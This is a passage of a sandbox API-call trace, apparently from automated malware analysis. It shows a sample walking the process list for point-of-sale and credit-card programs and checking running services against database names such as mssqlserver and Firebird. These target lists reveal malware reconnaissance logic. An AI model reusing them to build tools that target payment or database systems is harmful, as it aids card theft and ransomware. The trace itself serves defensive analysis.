dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0092.386] lstrlenW (lpString="ccv_server.exe") returned 14 [0092.386] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0092.387] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0092.387] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0092.388] lstrlenW (lpString="creditservice.exe") returned 17 [0092.388] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0092.389] lstrlenW (lpString="edcsvr.exe") returned 10 [0092.389] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0092.390] lstrlenW (lpString="fpos.exe") returned 8 [0092.390] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0092.391] lstrlenW (lpString="isspos.exe") returned 10 [0092.391] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0092.392] lstrlenW (lpString="mxslipstream.exe") returned 16 [0092.392] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0092.393] lstrlenW (lpString="omnipos.exe") returned 11 [0092.393] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0092.394] lstrlenW (lpString="spcwin.exe") returned 10 [0092.394] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0092.394] lstrlenW (lpString="spgagentservice.exe") returned 19 [0092.394] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0092.395] lstrlenW (lpString="utg2.exe") returned 8 [0092.395] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0092.396] lstrlenW (lpString="controlling.exe") returned 15 [0092.396] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0092.398] lstrlenW (lpString="assess climate.exe") returned 18 [0092.398] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0092.399] lstrlenW (lpString="color_infection.exe") returned 19 [0092.399] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0092.400] lstrlenW (lpString="home.exe") returned 8 [0092.400] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0092.400] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0092.400] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0092.401] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0092.401] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.402] lstrlenW (lpString="svchost.exe") returned 11 [0092.402] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0092.402] lstrlenW (lpString="taskhostw.exe") returned 13 [0092.402] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0092.403] lstrlenW (lpString="UsoClient.exe") returned 13 [0092.403] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0092.404] lstrlenW (lpString="taskhostw.exe") returned 13 [0092.404] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0092.405] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0092.405] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0092.405] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0092.405] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0092.406] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0092.406] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0092.407] lstrlenW (lpString="conhost.exe") returned 11 [0092.407] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0092.408] lstrlenW (lpString="conhost.exe") returned 11 [0092.408] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.408] lstrlenW (lpString="svchost.exe") returned 11 [0092.408] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0092.409] lstrlenW (lpString="finbbp.exe") returned 10 [0092.409] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0092.410] lstrlenW (lpString="dllhost.exe") returned 11 [0092.410] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0092.410] lstrlenW (lpString="cmd.exe") returned 7 [0092.410] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0092.411] lstrlenW (lpString="conhost.exe") returned 11 [0092.411] Process32NextW (in: hSnapshot=0x288, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0092.412] CloseHandle (hObject=0x288) returned 1 [0092.412] Sleep (dwMilliseconds=0x1f4) [0092.961] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ee9f8 [0092.963] EnumServicesStatusExW (in: hSCManager=0x4ee9f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 0 [0092.964] GetLastError () returned 0xea [0092.964] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1ce8) returned 0x510d50 [0092.964] EnumServicesStatusExW (in: hSCManager=0x4ee9f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x510d50, cbBufSize=0x1ce8, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x510d50, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 1 [0092.965] CloseServiceHandle (hSCObject=0x4ee9f8) returned 1 [0092.965] lstrlenW (lpString="Appinfo") returned 7 [0092.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0092.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0092.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0092.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0092.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0092.965] lstrlenW (lpString="AppXSvc") returned 7 [0092.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0092.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0092.966] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0092.966] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0092.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0092.966] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0092.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0092.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0092.966] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0092.966] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0092.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0092.966] lstrlenW (lpString="Audiosrv") returned 8 [0092.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0092.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0092.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0092.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0092.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0092.966] lstrlenW (lpString="BFE") returned 3 [0092.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0092.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0092.966] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0092.966] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0092.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0092.966] lstrlenW (lpString="BITS") returned 4 [0092.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0092.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0092.966] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0092.966] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0092.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0092.966] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0092.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0092.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0092.966] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0092.966] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0092.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0092.967] lstrlenW (lpString="CDPSvc") returned 6 [0092.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0092.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0092.967] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0092.967] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0092.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0092.967] lstrlenW (lpString="ClickToRunSvc") returned 13 [0092.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0092.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0092.967] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0092.967] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0092.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0092.967] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0092.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0092.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0092.967] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0092.967] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0092.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0092.967] lstrlenW (lpString="CryptSvc") returned 8 [0092.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0092.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0092.967] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0092.967] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0092.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0092.967] lstrlenW (lpString="DcomLaunch") returned 10 [0092.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0092.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0092.967] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0092.967] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0092.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0092.967] lstrlenW (lpString="DeviceAssociationService") returned 24 [0092.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0092.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0092.968] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0092.968] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0092.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0092.968] lstrlenW (lpString="Dhcp") returned 4 [0092.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0092.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0092.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0092.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0092.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0092.968] lstrlenW (lpString="Dnscache") returned 8 [0092.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0092.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0092.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0092.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0092.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0092.968] lstrlenW (lpString="DoSvc") returned 5 [0092.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0092.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0092.968] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0092.968] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0092.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0092.968] lstrlenW (lpString="DPS") returned 3 [0092.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0092.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0092.968] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0092.968] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0092.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0092.969] lstrlenW (lpString="DusmSvc") returned 7 [0092.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0092.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0092.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0092.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0092.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0092.969] lstrlenW (lpString="EventLog") returned 8 [0092.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0092.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0092.969] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0092.969] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0092.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0092.969] lstrlenW (lpString="EventSystem") returned 11 [0092.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0092.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0092.969] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0092.969] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0092.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0092.969] lstrlenW (lpString="FontCache") returned 9 [0092.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0092.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0092.969] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0092.969] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0092.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0092.969] lstrlenW (lpString="gpsvc") returned 5 [0092.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0092.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0092.969] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0092.969] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0092.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0092.970] lstrlenW (lpString="iphlpsvc") returned 8 [0092.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0092.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0092.970] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0092.970] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0092.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0092.970] lstrlenW (lpString="KeyIso") returned 6 [0092.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0092.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0092.970] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0092.970] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0092.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0092.970] lstrlenW (lpString="LanmanServer") returned 12 [0092.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0092.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0092.970] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0092.970] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0092.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0092.970] lstrlenW (lpString="LanmanWorkstation") returned 17 [0092.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0092.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0092.970] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0092.970] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0092.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0092.970] lstrlenW (lpString="lfsvc") returned 5 [0092.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0092.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0092.970] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0092.970] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0092.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0092.970] lstrlenW (lpString="lmhosts") returned 7 [0092.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0092.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0092.970] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0092.971] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0092.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0092.971] lstrlenW (lpString="LSM") returned 3 [0092.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0092.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0092.971] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0092.971] lstrcmpiW (lpString1="mssqlserver", 